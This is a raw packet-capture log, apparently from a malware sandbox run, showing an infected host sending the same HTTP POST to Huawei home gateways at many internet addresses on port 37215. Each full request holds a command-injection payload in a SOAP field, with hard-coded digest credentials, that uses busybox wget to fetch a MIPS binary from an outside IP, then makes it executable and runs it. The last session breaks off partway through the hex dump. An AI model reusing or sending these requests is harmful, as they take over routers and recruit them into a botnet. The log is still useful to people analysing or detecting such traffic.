143	192.168.2.13	49128	156.165.201.247	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.992068052 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	33394	156.168.136.24	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.992906094 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	53342	197.218.247.171	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.993726969 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	39806	197.99.205.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.994517088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	58564	156.245.2.205	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.995486021 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	60446	197.226.229.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.996135950 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	38538	41.179.145.152	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.996932030 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	42556	41.195.163.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.997797966 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	59662	197.50.100.135	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.998646021 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	37368	156.90.232.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.999496937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	42520	156.225.196.18	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.000374079 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 